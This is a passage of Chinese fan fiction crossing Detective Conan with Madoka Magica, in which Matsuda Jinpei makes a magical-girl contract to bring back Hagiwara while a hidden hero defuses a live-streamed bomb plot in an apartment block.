松田阵平随着声音的源头，慢慢地、慢慢地低下头，往下方看去。 那里蹲着一个奇怪的白色生物。 长得既像兔子又像猫，但总之绝对不是这个世界上存在的平常动物。 不仅是因为这样貌过于独特，他闻所未闻，更是因为……这动物居然会说人话。 难道是他刚才已经被炸弹炸死了吗？这家伙是他临死前的幻想对吗？还是说，这是前来接应他的死亡使者？？ 松田阵平感到恍惚。 那个白色生物直接问道：‘松田阵平，你愿意和我签订契约吗？’ 这一次因为一直盯着这个生物，松田阵平更加确定声音就是对方发出来的。 而且这生物明明没有张嘴，他却能听到它的声音。 ‘你拥有足够的天赋，如果跟我签订契约的话，就能够激发出强大的力量。而且作为交换，我还可以实现你的任何一个愿望。’ 松田阵平听着对方温和的话语，渐渐想起了前几天，他在米花中央医院的经历。 那也是一场足够离奇诡异的经历。 他的世界观早在那时就被打破过一次了。 现如今缓过神来，意识到自己应该没有死，只是被奇怪的生物找上门来而已，松田阵平倒也莫名适应得很快。 松田阵平不由得快速问道：“你是什么存在？为什么要和我签订契约？到底是什么样的契约？” 对方友好地回答：‘我叫丘比。因为你很有天赋，所以我希望你能够和我签订契约，成为魔法少女，从此背负起与魔女战斗的使命。’ 松田阵平：“……魔法少女？” 丘比：‘……没错，魔法少女。’ “你真的是认真的吗？” 松田阵平指了一下自己，想让对方仔细看清楚，他明明是一个不折不扣的成年男性：“……我？魔法少女？” 不管是和“少”，还是和“女”……都完全产生不了半点关系吧。 松田阵平忽然想到了一个解释：“你是不是不太了解人类？我其实不是少女。我是男性，而且早就成年了。” ‘这点我还是清楚的。’丘比否定道：‘不用担心，即使是成年男性，也有成为魔法少女的资格呢。至少你绝对拥有着这样的天赋。’ 这种话不管怎么说，都还是让人一时半会儿难以接受。 不过现在不是平常时刻，楼上还有着许多民众正处于危险之中，不知道剩下的被放在哪里的炸弹随时都可能爆炸。 松田阵平稍作犹豫，开口道：“你说的契约——” “我劝你不要考虑这种事。” 右侧不远处，一个冷淡的声音突然响起。 松田阵平侧头移过视线，便看到了一个熟悉的十三四岁的少女。 当初医院里，在他意外陷入一个诡异的结界般的地方时，第一次见到了这个人。 那时对方就是这样，穿着繁奢的裙装，戴着过长的双色围巾……明明看上去只是个长相很好，还会幼稚地穿得这么特殊繁奢的少女，却一直神色漠然又不近人情。 松田阵平声音微沉道：“为什么劝我不要签订契约？” “……因为你会死的。” 松田阵平愣了一下，还没反应过来，就听她继续平静地说：“与魔女战斗的话，你终究会在某天死掉，没必要浪费时间。” 好吧，原来是被看不起了。 之前完全没有接触过有关特殊能力的方面，松田阵平倒也不清楚，自己是否真的有她说的那么差劲。 而且，丘比刚才可不是这么说的。 ‘不要这么说嘛，松田的确是非常有天赋的，是万里挑一的存在。’ 果然，可爱的白色生物向前几步，走到了他们中间，打起了圆场。 ‘况且如果松田签订契约的话，今后朔夜你就可以和他成为同伴了。平日里团结合作、互相帮助，和魔女的战斗肯定也会轻松许多呢。’ 被称为朔夜的少女没什么动容，语气生硬：“不用，我不想被拖累。” 这种话一出，丘比似乎都不知道该怎么接了，一直在轻轻晃动着的尾巴停顿在了空中。 松田阵平倒也不置可否，就像被轻视的人不是自己一样。 他只是站在一旁，沉默地看着这两个有着特殊能力的奇怪家伙，眼底暗藏着探究意味。 丘比只能换了个话题：‘话说，朔夜你为什么会在这里？’ “先前这里闹出了很大动静，我还看到了你的身影，很难不让人联想到魔女。” 朔夜：“……结果却没有在这里发现任何魔女的踪迹。” 松田阵平突然想到了什么，不由得脱口而出：“你刚才有没有看到一个白发的坐着轮椅的青年，他的位置应该是在一楼……” 朔夜打断道：“没有。” 松田阵平能看出对方不想和自己多话，换作是别的时候，他也不会好脾气地非要跟对方搭话。 可是想到伊江朔久，他还是忍不住继续追问：“刚才一楼爆炸的时候，你还不在这里吗？” 朔夜看着似乎不怎么想回话。 ‘朔夜，帮下忙嘛。’而丘比的声音适时响起，语气放得更软：‘我好不容易才找到适合签约的人选。’ 白发少女将目光转向丘比，与其对视片刻后，她微微侧过眸，再开口时态度比之前好了一些，至少能耐下心来解释了。 “我只在这栋楼里找到了一些炸弹，而且已经顺手将它们全都处理掉了。至于其他的，我刚才没怎么关注。” 得到这样的回答，也不算怎么意外。 松田阵平微垂下头……确实不应该在那种情况下，还抱有侥幸心理。 “还有最后一个炸弹应该在20层。” 朔夜边说边走着，走到刚才松田乘坐过的电梯面前，先前还紧闭着的电梯门，此刻便很懂事地立即打开了。 她只停顿了刹那，留下这么一句，就踏上了电梯。 “既然丘比拜托了，我就顺便也去解决掉那最后一个吧，希望你别死得太早了。” 看着朔夜离去，丘比对松田道：‘别在意，她对新人几乎都是这个态度。’ 松田阵平随意点了点头，心里却想着第一次见到朔夜时的场景，当时她大概还不知道丘比会找他签约，却也还是那种不好的态度。 那家伙应该不只是对新人态度糟糕，而是普遍地对所有人类都一个样子吧。 除了丘比。 她就只有在面对丘比的时候，才能态度和缓一些，甚至还会因为丘比的话而选择帮忙。 松田阵平有些奇怪地看着面前的神秘白色生物，想不通朔夜这种反差态度的原因，问道：“她也是你签约的那个、魔法少女对吗？” 丘比应声道：‘没错。你愿意和我签约吗？成为魔法少女的话，就能够和她一样拥有魔法了。’ 又一次地被询问是否愿意签约，最初的荒谬感逐渐退去了，可是松田阵平却想起刚才朔夜劝阻的话。 丘比也看出了对方的犹豫，只能说道：‘和魔女的战斗确实存在生命危险，不过以你的潜力，大概率不会沦落到战死的地步。’ 听了刚才朔夜的话，松田阵平如今也不会轻易相信丘比的传销。 他试探道：“是么，可是刚才她不是认为我会拖累她吗？” ‘不是的，你真的很有天赋，我没有说谎。’ 丘比含糊地道：‘不过，她确实比其他的魔法少女都要特殊一些。所以如果松田你今后遇到什么难对付的魔女，记得可以去找她帮忙哦。’ 松田阵平若有所思地应下，紧接着又问：“魔女到底是什么？” 丘比负责任地解释了一些基础知识，关于魔女、使魔的危害，还有魔法少女与其战斗的使命。 松田阵平：“……听起来还真挺像动画片里的设定。” 什么代表希望的魔法少女，要与威胁世界安全、散播绝望的怪物战斗……这些设定实在有点老套了。 除了找男性来当魔法少女这一点非常离谱。 啊，这么想想，还是老套一些的设定更好。 不过…… “我可以和你签订契约。” 松田阵平只是经过了短暂的考虑，很快就答应了下来。 丘比倒是也不怎么惊讶。 面对这样有着特殊能力的世界，许多普通民众随时可能陷入危险之中……在得知自己拥有这种机会后，松田阵平是不会因为顾忌危险而选择踩刹车的。 他一直都只会朝着前方，义无反顾地踩下油门。 因此，丘比早就猜到他会做出这样的决定了，忍不住在心里无声地叹了口气。 随后它仰着头，用红色的眼睛直直盯着对方，脸上带着永远不变的标准微笑，问道： ‘那么你想许下什么样的愿望呢？’ 第33章 浅井公寓第20层。 这里的人看着松田阵平乘坐电梯下去之后，紧张地等了许久，都没有再次听见那声令人心惊胆战的爆炸声。 他们有些如释重负。 甚至有人开始后悔地想，早知道刚才就自己下去好了。 不过，就这么安静了好一段时间后，他们又不安起来。 为什么那个炸弹犯不接着说下一个游戏环节了？是游戏结束了吗？……那他们这些人会怎么样？ 该不会是炸弹犯厌烦了继续游戏，准备直接把他们全部炸死吧？！ 而另一边的炸弹犯也在头疼，忙着研究怎么操控电梯程序，但是弄了半天都没修复好。 他实在是不明白，为什么又一个电梯的控制程序也紧跟着失灵了。 每放一个人乘坐电梯下去，就有一个电梯脱离他的掌控吗？这也太奇怪了吧！没道理吧！ 本来炸弹犯还打算再来几次这样的游戏，好好玩一下这些人和外面警察们的心态，但是现在电梯已经坏了两个就没办法了。 剩下的那个电梯还有别的用处，所以如今就只好跳到游戏的最后一个环节了。 炸弹犯放弃了继续研究控制电梯，将目光放回监控屏幕上，尴尬地咳了两声，装作若无其事道： “现在迎来最令人期待的游戏最终环节吧。规则很简单，就是由警方来进行二选——” 就在这时，先前松田乘坐过的那个电梯的门突然打开了，炸弹犯错愕地停下了话语。 所有人也都察觉到了这一动静，齐齐扭头惊愣地看过去。 一个看着只有十三四岁、穿着很特殊的白发少女从电梯中走出来。 她非常平静地望了他们一圈，然后，视线很快转移到旁边的另一个电梯上。 这栋公寓共有三个电梯，伊江朔久和松田阵平分别乘坐了一个，之后炸弹犯便也就失去了对那两个电梯的控制权。 此时，白发少女盯上的是炸弹犯唯一最后还能控制的电梯。 炸弹犯心底的不安刚升起来，就看见白发少女对着那个电梯伸出了手，随后电梯门便直接打开了。 什、什么？！ 炸弹犯连忙确认了一下，自己的确没有操控电梯门打开啊！ 为什么会这样？那个少女只是一伸手就能直接操控电梯？这也太不科学了吧？！ 没等其他人缓过神来，白发少女看着面前的电梯门开了之后，又将手心翻转。 面前的电梯顶部就自动慢慢散架，从上面飘下来一个正在倒计时19分钟的炸弹，稳稳地停在少女手上。 这简直就是神迹。 其他人甚至没空去惊讶，这个电梯的顶部居然安装了一个快要爆炸的炸弹。 所有人都直直盯着这个奇异的白发少女，脑中一瞬间闪过无数猜测。但无论是哪种猜测，都难以科学地解释对方的行为，简直要令他们怀疑起人生来。 看着直播的外界民众也懵了，忍不住怀疑这其实是一场作秀。 什么炸弹、什么恐怖事件都是假的吧？这情况到底是怎么一回事？完全不符合正常的世界观吧。 外界激烈地讨论起来，一时间弹幕数量井喷式爆发。 【这其实是最新的整蛊类真人秀对吧？……我、这，有谁能来解释一下吗？！】 【大概可能或许是真的吧，我就住这附近，这周围都被警方围起来了。这么大阵仗不像是假的，警视厅也不至于这么离谱。】 【这个少女到底是谁？急求联系方式。】 【这真的是现场直播对吗？什么啊，我的世界观彻底崩塌了。】 【其实，我以前就有遇到过很恐怖的怪物，当时还以为要死了，幸好被人救了。好像听救我的人说那是……咒灵？】 【说起来，横滨也确实一直有异能者的传闻啊。感觉这个世界似乎本来就不怎么科学。】 【可是这个女孩看起来才十三四岁的样子啊，年纪有点太小了吧。】 【拯救世界的都是中学生好像也挺常见的，不过是在各种动漫轻小说作品里。】 【反正她肯定不一般，有着特殊能力，而且看见炸弹也很冷静，外貌和服饰都那么特殊得令人惊艳……有人能知道她的一些信息吗？】 【要是她穿着这么一身曾在大街上出现过，凭借这样的长相和打扮，应该能从网络上找到一点痕迹吧。】 【教练，我也想学这种超能力！】 【等等！你们已经相信这些是真实的了吗？？！】 【……】 亲手策划了这起恐怖事件，又亲眼看着事态骤然转折，变成了现在这种离谱情况的炸弹犯本人最清楚不过。 ——这当然是真实的。 这个少女一定拥有着特殊能力，才能够打破他原本天衣无缝的计划，另外两个电梯控制失灵肯定也是她导致的！ 炸弹犯第一次见识这种超自然能力，最开始脑中思绪一片混乱，脸上写满了惊慌无措。 他只是眼睁睁看着少女破坏了电梯顶部，从其上方得到了正在倒计时的炸弹。 白发少女微微侧头盯着手上的炸弹看了几秒，很快就又抬起了另一只手，似乎正要触碰这个炸弹…… “等、等等——”炸弹犯情急之下，忽然找回了自己的声音。 他清楚这个少女既然随便挥挥手就能做到刚才那些事，那么破坏掉这个炸弹估计也就是一瞬间的事情。 但是，怎么能让她就这么破坏掉自己准备了四年的计划？！ 炸弹犯咽了咽口水，沙哑着声音道：“如果这个炸弹没有爆炸的话，那么另外一个地方、除我以外谁都不知道的另一个人群聚集的场所，我在那里安装的炸弹就会爆炸。” 少女闻言倒是停下了动作，不过依旧神色淡淡，没有表现出诧异或生气的情绪。 但炸弹犯却仍然提心吊胆，努力在心里安慰着自己。 反正他掌握着炸弹的引爆器，就算伤害不到这个奇怪的少女，应该也能威胁到其他人的安危。 而且他现在处于离那里挺远的一个隐蔽安全屋，这少女总不至于能顺着网线找过来吧。 他可是提前做足了准备，信号转过了多个海外服务器…… 大不了他等会儿一结束就离开这儿，绝对没人能抓到自己。 这么快速想了一通，炸弹犯恢复了许多底气，继续坚持着说：“游戏的最后环节就是，由警方来二选一。要么放弃面前的这些人，要么就放弃其他地方的更多民众。” 面临生命威胁，这里的人们注意力也就立刻回到了游戏上面来。 看着这些人惊慌起来的神情，炸弹犯又找回了点掌控全局的感觉，贴心提示道： “现在留给警方纠结的时间不多了。当然，这位小小姐可以将炸弹放在这里后直接离开，这些事本来就与您无关，不是吗？” 白发少女没有回话，像是在考虑着什么。 其他人紧张地望着她，还有她手里拿着的正在倒计时的炸弹。 一个中年男子忍不住出声道：“只要你能把这个炸弹拆了，我就给你钱。你想要多少？五百万日元？还是一千万？” 看着对方连半分目光都没有分过来，中年男子着急又气愤。 刚才少女出来后，她身后的电梯就自动合上了。如今炸弹很快就要爆炸了，电梯和楼梯都没办法用。 要想活下去，就必须得他自己努力争取才行。 中年男子控制不住火气：“不要得寸进尺了！这对你而言只是很简单的事吧，你到底想要多少钱才肯做？！” 他声音高得非常刺耳，而炸弹犯却只是默默地旁观着，没有阻止他这想要公然破坏游戏规则的行为。 其他人的目光也游移不定，不知道有多少人暗暗希望着中年男子能够说服少女破坏掉面前的炸弹。 白发少女终于开口说了第一句话：“我不需要。” 中年男子立刻道：“不要钱那你又要什么？想要拿我们这些人的命去换取其他更多人的命吗？！” 炸弹倒计时的声音虽然很微弱，但也足够引人注目，嘀嗒嘀嗒的声音像是生命也即将随着时间流逝殆尽。 这惹得中年男子极度心烦，他声音越来越大，几乎是在吼道： “假好心什么呢，你们这些人都是这样，刚才那个家伙估计也是为了做样子才自愿下去吧。” “什么狗屁的四年前殉职的警察，什么自愿选择自己下去，还想以少换多，都见鬼去吧！就爱在公众面前出风头，谁求着他们那么做了，我才不要浪费自己的性命去彰显你们的无私……” 他越说越起劲，没去注意对面少女的神色已然冷了下去。 甚至中年男子说着说着还突然想到了一个主意。 于是，他没怎么思考就直接开始行动，迈步向少女的位置，想要从她那里夺走炸弹，再把炸弹从窗户处直接扔下去。 然而在中年男子伸出手、还没碰到炸弹时，少女突然动了，谁都没有看清她的动作。 所有人都只能看到下一秒，少女已经单手持着一支特殊质感的白色箭矢的箭杆，锋利的箭头抵在中年男子脖颈处，有点点鲜血由此渗出。 她只需要稍一用力，箭头就会刺入对方的致命处。 中年男子浑身僵硬，脖颈处感受到的刺痛与寒意，使他一下子就重新冷静了下来。 他颤颤巍巍地举起了双手，表示投降：“……对不起，我、不敢了，都是我的错。” 少女一言不发地望着他。 中年男子恐惧得一直在冒虚汗，快以为自己都等不到爆炸倒计时结束，现在便会直接死掉了。 终于，白发少女还是收回了手，那支凭空出现的箭矢又紧跟着凭空消失了。 她只说了一句：“安静。” 中年男子松了一口气，立刻拼命地无声点头。 看着她似乎没再准备做些什么，他即刻逃也似地远离这个恐怖的家伙，尽量往角落里去把自己的存在感压到最低。 第34章 当然不会有人一直都能保持着好脾气，伊江朔久也是。 毕竟人类总会有私心，不能做到平等无私地对待每一个人，更何况这个中年男子给人的印象实在是太差劲了。 因为完全不会炸弹犯出的那些题而抱怨到萩原研二身上，想要获得逃离这里的机会就装作自己有心脏病，刚才甚至那么说萩原和松田…… 所以，伊江朔久才那么故意恐吓了一下对方。 不过当然，他也没多做什么，很快就收手了。 先前的一切都处于直播之下。 以这个中年男子的那些表现，离开这里之后，自然会有无数的舆论使对方得到惩罚。 现在伊江朔久得抓紧思考二选一的解决办法。 他之前调查过炸弹犯，所以对于另一处炸弹的安放地点，也已经在心里有了几个猜测的选项。 最有可能的地点就是米花中央医院，那也是原著里炸弹犯曾安放过炸弹的地方。 在无法百分百确定的情况下，他不能冒然做出决定。 但如果实在没有办法的话，就只能…… 炸弹犯看着白发少女似乎犹豫不决的样子，更放心了许多，提醒道：“时间还剩不到十分钟，游戏……” 他的话又一次硬生生卡住了。 仿佛突发了什么特殊状况，炸弹犯那边环境突然各种声音嘈杂起来、乱作一团。 接着能隐约听见炸弹犯惊恐地道：“你们……怎么找过来的，不应该……” 伴随着东西被撞倒，其他人的说话声和脚步声等各种声音。 只过了一会儿，那边又安静了些，一个青年的声音传过来：“没事了，这种无聊的游戏已经结束了。” 这里的其他人面面相觑，还不太能彻底放下心来。 虽然刚才那边的动静很像是警方成功抓捕了炸弹犯，但是先前被炸弹犯以愚人节为由的整蛊还令他们印象深刻，担心这又是什么骗人的新花样。 不过，伊江朔久立刻就认出了对面的声音，那是太宰治。 既然是他的话，那就不用担心了。 于是，白发少女就直接破坏掉手里的炸弹，并随手将其扔到地上。 太宰治通过监控屏幕，看着少女的举动，他忽然语气轻快地开口询问：“这位小姐你好，非常感谢你的帮助，请问你有什么想要的报答吗？不管是什么，我们警方一定都会答应的。” 屏幕里的白发少女没有动容，倒是太宰治旁边，听到这话的几个警察目瞪口呆地望着他。 太宰治微笑着给他们做了个噤声的手势。 想到对方刚才提供的那么多帮助，不然炸弹犯现在估计还逍遥法外，这些警察再三纠结后还是暂时放任了太宰治的行为。 太宰治很快接着问道：“或者说，这位小姐是有认识的人在这栋楼里才来帮忙的吗？就算是这样，我们也应该感谢你才对。” 白发少女抬眼看向监控摄像头的位置：“这一切行动只是顺带而已。既然没有悲叹之种，我也就先走了。” “悲叹之种？” 太宰治重复了一遍这个陌生的词汇，继续保持着热心道：“请问那是什么？我们如果有机会找到，一定将其送给你作为报答。” “不用。” 白发少女果断拒绝，不知道是不想和警方有过多纠葛，还是笃定他们没办法得到那个什么悲叹之种。 但是对方既然说出了这个信息，难道不是想让其他人知道之后，想办法拿到那个然后达成互利的交易吗？ 太宰治望着屏幕里对方的青色眼瞳，却突然走神，想起了另一个有着相似眼睛的人。 他想到，伊江朔久……现在应该是已经死了吧，但是或许还有其他可能性，说不定那个人还没有死…… 太宰治的思绪短暂地转移到别处，就在这时，白发少女忽然一声不吭地迈步往走廊右侧方走去。 幸好太宰治及时反应过来，操控摄像头随之往她走去的方向转动。 接着，就清晰地目睹了……窗户的玻璃碎片散落一地，白发少女向着窗外一跃而下的整个过程。？！！ 那里的其他人都不禁被吓了一跳。 这可是二十层的高楼。 彧Ｑ鼷Ｂ 有人鼓起勇气走到窗边往下看去，仔细看了好一会儿，还是转身摇了摇头：“什么都没有，她消失了……” 刚才她已经做出了那么多匪夷所思的事情，这么对比起来，如今从高楼跳下去就消失了，好像也不怎么奇怪了。 ……但这种事情不管怎么说都还是很奇怪啊。 在场的人、以及观看直播的人此刻都或多或少有些恍惚。 这个少女到底是什么人啊…… 太宰治只能做出简单推测，她绝大概率不会是异能者。 每个异能者通常情况下都只会有一种异能，并且很少有人的异能可以强化自身的身体素质。 而那个少女的能力并不单一，让人很难判断她到底还能做出多少不可思议的事情。 太宰治托着下颔思考。 他掌握的信息渠道不少，可是却从来没听过悲叹之种。 但是，能够做到这些的应该也就只有咒术界的人了吧，那边的术式比较复杂多样，咒术能做到的事情有很多。 所以说她会是咒术师吗？ 太宰治没有把握确认。 可是……为什么她会穿着那种不方便战斗的服饰呢？看她的性格，应该不至于喜欢那种虽然好看却过于夸张的服饰吧。 而且为什么她不像之前那样乘坐电梯下去，而是选择直接跳楼呢？ …… 伊江朔久选择从二十层楼一跃而下，自然是有原因的。 要是朔夜乘坐电梯离开，却没有人看到她从这栋公寓楼门口走出来，就容易被人怀疑她仍然留在这里。 从高楼上跳下去再消失，其他人就会以为她离开了。 应该没有人能想到，她又重新想办法避开所有视线溜回了一楼，到了之前存放着自己轮椅的电梯内，解除变身重新变为了伊江朔久。 他坐在熟悉的轮椅上，找回了一点安心感。 以朔夜的身份出场这么一回真不容易，因为这次他还得操控着丘比行动，同时控制两具身体做不同的事，感觉实在有点疲惫。 而且朔夜的性格还自带debuff，根本没办法跟别人正常沟通，几乎说不出任何好话来。 所以自己当时能不说话就不说话，只能操控着丘比尽量打圆场，努力不让松田阵平看出问题来。 幸好，朔夜对丘比还可以保持不错的态度，毕竟两方本质上都是一个人，类似于自言自语而已。 这让朔夜找到了借口，能够上去帮丘比的忙解决这些事情。 终于，这件事就快要结束了。 只需要等待丘比和松田阵平签订完契约就好了。 伊江朔久这么想着，顺便开始想象着松田变身后的样子，忍不住浮现出一丝笑意。 然而下一秒，他的笑容突然变得僵硬起来。 因为他放在丘比那边的一半意识，此刻从松田阵平口中听到了意料之外的话。 ——“什么愿望都可以实现？那如果我想要伊江好好地回来，也可以做到吗？” 伊江朔久：“……” 不至于为此用上如此珍贵的愿望，他其实还没死，也没出任何事。 慢一拍地反应过来后，伊江朔久又提起了心，赶忙慌乱地按下旁边的电梯按键。 不能再等了，他必须得现在就上去，向松田证明自己本来就好好活着才行。 另一边，伊江朔久同时操控着丘比连忙出声：‘真的任何愿望都可以实现，所以才更要慎重考虑，你难道不想让自己最好的挚友复生吗？’ 松田阵平怔住了。 他没想到居然连让死者复生都可以做到，这个任何愿望的含金量还真够惊人的。 而且……丘比话里的意思是，这甚至可以让四年前便已经死去、尸骨无存的萩重新活过来吗？ 松田阵平脑海里浮现出萩原研二的模样，他怎么可能不希望萩重新活过来，只是之前从未相信过这种荒谬的事情。 奇迹只有一次实现的机会。 ……他现在应该抓紧时机，许愿让萩死而复生吗？ 松田阵平对上丘比深红的双眼，发现丘比似乎逐渐放松下来。 和刚才听到伊江朔久名字时的惊讶与慌乱不同，丘比此刻平和地望着他，就像是已经笃定他会改口，早就了然他会许下怎样的愿望。 松田阵平心绪复杂得难以言喻，无暇去追究丘比很可能提前调查过他这件事。 只有一次的奇迹…… 这应该是很简单的回答才对。凭心而论，自己最想实现的愿望当然是让萩回来。 但是，向来都能果断地做出决定、不管不顾地踩着油门往前冲的松田阵平，如今想说出这种话时却难得会这么艰涩：“我……” 就在这时，旁边的一个电梯悄然打开了，熟悉的声音紧接着响起：“松田警官。” 松田阵平愕然地侧头望去，白发青瞳的青年坐着轮椅从电梯中出来，样子看上去和之前分开的时候似乎没有任何分别。 对方看过来的眼神也很惊讶：“你怎么会在这里？松田警官。” 松田阵平有点没缓过神，怔怔地看着他。 伊江朔久顿了顿，及时解释道：“其实……刚才电梯下到一楼之后，我有点不好的预感便没有直接出去，还按下了电梯门闭合的按钮，所以幸运的没有被刚才的爆炸波及。” “不过，电梯好像因此出了点故障，我在里面被关了一会儿，之后又莫名其妙地突然能按动按键了，我才能够出来。” 默默听完对方的解释，松田阵平突然道：“……你是猜到会有危险才要求下去的吧。” 伊江朔久哑然。 这件事确实不太好瞒过去，而他也没办法说自己有能力自保，只好道：“不用担心，我这不是没受伤吗。虽然我经常挺倒霉的，但也一向命很大，没那么容易死的。” 松田阵平紧抿着唇，一言不发。 伊江朔久连忙转移话题：“对了，松田警官，你刚才是在这里干什么？” 第35章 松田阵平闻言，下意识地低头看向另一边。 那只白色生物仍旧待在那个位置没有离开，此刻见他看过来，还继续先前的话题道： ‘如果你需要思考很长一段时间才能作出答复的话，我们要不要先商量一下，之后约个什么时间在哪里见面？’ 松田阵平：“……” 他现在不用回头，也能猜到身后伊江朔久大概会是怎样诧异的表情。 毕竟他第一次被打破世界观就在几天之前，完全能够清楚地回忆起来，当时自己心里有多么怀疑人生。 丘比却还在说：‘松田，你现在还有别的事情要做对吧？那可以说一下你住在哪里么？我就先走了，之后会主动去找你的。’ 松田阵平忍不住出声道：“先等等。” ‘怎么了？是还担心楼上的事情吗？’丘比不解地试探道：‘那个不用在意，朔夜肯定能够解决掉那最后的炸弹。’ 松田阵平不是不相信朔夜能解决上面的炸弹，只是她应该不能也不会去主动逮捕那个炸弹犯，这一次恐怕无法给萩复仇了。 但是……或许有机会能看到萩重新活过来站在他面前。 这样的奇迹太过难得。 容易让人将信将疑、担心不安，害怕不立即伸出手将其紧紧抓住，这一切就会变为无法触及的虚无幻象。 松田阵平侧头看向伊江朔久，对方正茫然又不知所措地看着这边。 “抱歉伊江，我等会儿再跟你解释。” 松田阵平对他快速说完后，又重新望向丘比。 稍作犹豫后，他下定了决心，问道：“丘比，不用之后再说了，你能够现在就实现我的愿望吗？” 松田阵平不希望就这么看着丘比离开，于是便果断地做出了决定。 反正已经瞒不了伊江了，比起艰难地编谎不知道能否说服对方，还不如直接坦诚。这样的话，以伊江的性格，绝大概率是会替他保密的。 丘比愣了一下：‘这倒是没问题……’ 松田阵平直接道：“需要签订契约对吧，我该怎么做？” ‘是的……’丘比看着他，缓声道：‘如果你已经认真地想好了自己的愿望，只需要现在把它告诉我就可以了。’ 松田阵平点了点头，道：“我希望hagi……萩原研二没有在爆炸中死去，想要他能够好好地活下去。” 紧接着，他就感觉到身体里涌现出奇异的能量，伴随着仿佛躯壳里的什么东西被硬生生抽离的痛楚。 深蓝色的光芒绽开，很快地笼罩了触目所及的一切事物。 同时，他恍惚间听见丘比的声音轻轻响起：‘你的愿望会实现的。’ 当光芒渐渐淡下来之后，这里唯一一个能呼吸到高海拔空气的人也消失了，取而代之的是一个看上去身高最多只有155cm的少女。 她有着刚刚及肩的黑色卷发，发丝中夹杂着蓝色挑染。银灰色护目镜之下是黑曜石般的双瞳。 穿着一袭深蓝色短裙，裙子后摆较长到小腿处，腰间扣着黑色皮带，隐约能看到裙摆下方的腿上绑着皮质枪套。 伊江朔久迟疑地开口：“……松田警官？” 松田阵平也感受到自己的变化了。 虽然提前做了心理准备，但是当着认识的人的面直接性转变身……这种从未经历过的尴尬场面，还是让其有点难以适应。 “伊江……麻烦你再等一下。” 因为有点不敢去看伊江如今的表情，也想逃避如今的自己，再加上还有别的重要的事情得先做……松田阵平只能语气僵硬地先应付过去。 不过出声时，那格外陌生的少女声线还是让松田阵平自己一阵恍惚。 悄悄深呼吸了几下后，松田阵平拿出了自己的手机，打开通讯页面。 与萩原研二的通讯页面还是跟以前一样。 ——全是自己一个人单方面的简讯，不管屏幕再怎么滑动，也看不到对方任何一条回复的消息。 本来是习以为常的事情了，但可能是太过迫切地期待着奇迹发生，松田阵平在看到这些时，久违地感觉到了压抑与难受。 松田阵平看了好一会儿，才反应过来，想要给萩原现在发一条简讯问问。 但是向来灵活的双手此刻却显得格外笨拙，明明只是很简单的句子，可松田阵平输错了好几次，反复删改之后才终于发过去。 【hagi，你在吗？】 许久没有回应。 松田阵平的心慢慢沉了下去。 他的愿望真的实现了吗？hagi……真的活过来了吗？死而复生果然不是这么轻松就能实现的事情吧。 松田阵平看向丘比，问道：“你不是说任何愿望都能实现吗？……那他如今在哪里？” ‘确实任何愿望都能实现，不过我没办法进行干涉，所以也不清楚你的愿望会以哪种形式实现。’ 丘比也一副很为难忧虑的样子，道：‘契约已经成立了，应该是没问题的才对。他现在大概在别的地方，或许之后他可能就会主动来找你了……’ 松田阵平有些难以相信它的话。 现在冷静想想，让死者复生确实太过荒谬，他的愿望怎么有能力跨越生死的界限。 ‘任何愿望都能实现’这种话并不合理，这分明是显而易见的事情。 如果真的能让萩原研二活过来，那么对方现在又在哪里呢？ 当年萩原死于爆炸，近距离面对那种程度的炸弹，自然不会留下尸体。松田阵平之后也去过爆炸后的废墟，没有找到关于萩原的任何一点痕迹。 最后举办葬礼的时候，只能将萩原生前的衣物下葬。 这种情况下，该怎么让萩原研二复生？ 而且他刚才综合考虑后说的是，希望hagi没有在爆炸中死去，能够好好活着。 如果愿望真的实现了的话，那么萩原研二不可能不回复他的消息，他们应该还是像以前一样待在爆.炸物处理班…… 松田阵平忽然想到了什么，立刻操控着手机，给同样也熟悉着萩原的伊达航发去了简讯： 【你有看到hagi在哪里吗？】 伊达航倒是回复得很快：【萩原不是四年前已经……松田，我就在浅井公寓楼附近，一直从直播上关注着你那边的情况，你现在还好吗？】 松田阵平此刻的注意力只放在了对方的前半句话上。 是啊，确实他早就知道，萩原已经…… 松田阵平有些无力地垂下了握着手机的手，暂时没有心思回复伊达航。 他想起了丘比刚才说的‘不清楚你的愿望会以哪种形式实现’，又想起了之前炸弹犯的那声‘愚人节快乐啊’…… 松田阵平自嘲似的喃喃道：“这也是……愚人节的玩笑么。” “松田警官。” 伊江朔久又一次主动开口唤道。 这声音把他从杂乱的思绪中拉回来了一点，松田阵平侧目对上那双担忧的青色眼瞳，渐渐冷静了许多。 ……其实并不怎么糟糕，还应该庆幸伊江能死里逃生。 毕竟，其他的只不过是四年前就已经结束了的事情。 伊江朔久犹豫了片刻，忽然拿出手机，将屏幕朝向松田阵平所在的方向。 手机屏幕上显示着——00：03。 “现在已经是第二天了，松田警官。” 白发青年没有询问，也没有多说什么，只是用能让人安心的温和语气宽慰道：“愚人节已经过去了。” 松田阵平愣住了。 已经过去了？ 下一刻，他感觉握在手里的手机振动了一下。 松田阵平本能地抬手，打开自己的手机，映入眼帘的是一条来自萩原研二的简讯。 ——【小阵平？】 骤然间，呼吸控制不住地加快，松田阵平能够非常清楚地听见自己过快的心跳声。 这是四年以来，他从萩原那里收到唯一的一条简讯。 ……愚人节确实已经过去了。 这四年来的一切，仿佛都变成了一场过于漫长的噩梦。 然而此刻，一切的噩梦都过去了，他终于得以从梦中醒来了。 伊江朔久根据松田的神情也猜测到了大概情况，微不可察地松了一口气。 就在这时，下方的一楼突然隐约传来了许多脚步声。 能听得出来，底下来的人不少，但是这些脚步声却不怎么杂乱，应该都是接受过专门训练的警察。 也对，炸弹犯已经被逮捕了，警方也就不必再担心这里的炸弹被突然引爆，当然该进来解救20层的那些居民了。 伊江朔久小声提醒道：“松田警官，你现在的样子……” 那些警察很可能马上就会上来了，看到他和松田都还好解释，但要是看到一个装扮奇异的陌生少女，那就糟糕了。 尤其是上一个类似的少女才刚刚在直播中从20楼跳下去。 松田阵平也同样意识到，不能让人看见自己这副样子。 慌乱中，松田阵平都没有去询问丘比，便糊里糊涂地自通了解除变身的方法。 蓝色光芒短暂地一闪而过，少女就又成功地变回了原先青年的模样，只留下了一个造型独特的深蓝色宝石被他握在手中。 好了，此刻不该出现在这里的生物就只剩下—— 松田阵平看向那只白色的奇怪生物。 不管是让它从电梯还是楼梯下去，都会很容易被其他人发现…… 松田阵平低声道：“丘比，你能从窗户上直接跳下去吗？” 听着楼下的脚步声越来越清晰，他忍不住往丘比所在的方向走了两步，那架势简直像是想要把它抱起来，直接从窗户上扔下去。 丘比连忙躲开，跳到另一边去：‘你想干什么？！’ 